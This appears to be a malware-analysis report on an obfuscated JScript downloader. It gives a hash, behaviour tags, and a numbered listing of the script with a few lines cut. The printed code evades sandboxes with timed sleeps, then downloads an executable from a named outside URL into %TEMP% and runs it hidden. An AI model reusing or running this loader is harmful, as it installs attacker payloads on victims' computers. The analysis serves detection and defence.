20160328_7a79e8e5fa44bfedaae0ab9a337296d4.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2567d5f3080a32f12c2b9730e4e6d76216fa7789fd109b64554ce04ae8c3304c19d
Evidence
1var Jtkjdjqui = false;
2var Haffooycb = "CreateObject";
3var Ljeshcapcs = function Dshhs() {return WScript[Haffooycb]("WScript.Shell");}();
4var Lsvbxc = 123213;
5var Lzimiyu = "MSXML2.XMLHTTP";
6var Jjjyh = 2123213;
7var Zmiellbibj = 0;
8function Kwxmyktopr(Dksvuy){Ljeshcapcs["Run"](Dksvuy, Zmiellbibj, Zmiellbibj);};
9function Grdegorg(){return Lzimiyu;};
10function Rfbszsz(Iumxxafclf, Atgfsrmus){return Iumxxafclf - Atgfsrmus;};
11function Xnfvkgkqdq(){return Haffooycb;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Jtkjdjqui = true;
15 @end
16@*/
17var Vboee = "";
18if (Jtkjdjqui)
19{
20function Akemps(){return 22;};
21var Ywkveface = 0; var Sjclyaxg = 0;
22function Achvnfxf()
23{
24var Xqxuodxo = new this["Date"]();
25var Habtclggn = Xqxuodxo["getUTCMilliseconds"]();
26WScript["Sleep"](Akemps());
27var Xqxuodxo = new this["Date"]();
28var Jybyeeobx = Xqxuodxo["getUTCMilliseconds"]();
29WScript["Sleep"](Akemps());
30var Xqxuodxo = new this["Date"]();
31var Nthgfy = Xqxuodxo["getUTCMilliseconds"]();
32var Ywkveface = "Sivjva";
33Ywkveface = Rfbszsz(Jybyeeobx, Habtclggn);
34var Sjclyaxg = "Pwlczeves";
35Sjclyaxg = Rfbszsz(Nthgfy, Jybyeeobx);
36Vboee = "open";
37return Rfbszsz(Ywkveface, Sjclyaxg);
38}
39var Jndxkwsx = false;
40var Yxrnidl = false;
41for (var Tqonbtc = Zmiellbibj; Tqonbtc < Akemps() * 1; Tqonbtc++){if (Achvnfxf() != Zmiellbibj){
42Jnd …
48:92…
49if (Jndxkwsx && Ctcai() && Yxrnidl){
50function Jockt() {return Ljeshcapcs["ExpandEnvironmentStrings"]("%TEMP%/") + "nPWE9dE16z.exe";};
51 Ocfxhlazqf = Grdegorg();
52 Liirlz = WScript[Haffooycb](Ocfxhlazqf);
53 var Gcpmykme = 1;
54 while (Gcpmykme){
55try {
56Liirlz[Vboee]("GET", "http://www.stopeugenicsnow.eu/m8dhs", false);
57Liirlz["send"]();
58Mksajs = "Sleep";
59do {WScript[Mksajs](Akemps() * 11)} while (Liirlz["readystate"] < 4 );
60Gcpmykme = Zmiellbibj;
61} catch(Ffxxvvais){Gcpmykme = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Bzehfaomdz(Piamcza) {var Gxzshojile = (1, 2, 3, 4, 5, Piamcza); return Gxzshojile;};
64Edkhoidmgv = WScript[Xnfvkgkqdq()]("ADODB.Stream");
65Ocfxhlazqf = Edkhoidmgv;
66Ocfxhlazqf[Vboee]();
67Ocfxhlazqf["type"] = Bzehfaomdz(1);
68Ocfxhlazqf["write"](Liirlz["ResponseBody"]);
69Edkhoidmgv["position"] = Bzehfaomdz(Zmiellbibj);
70Ocfxhlazqf["SaveToFile"](Jockt(), Bzehfaomdz(2) );
71Edkhoidmgv["close"]();
72Kwxmyktopr(Jockt());
73}
74}
75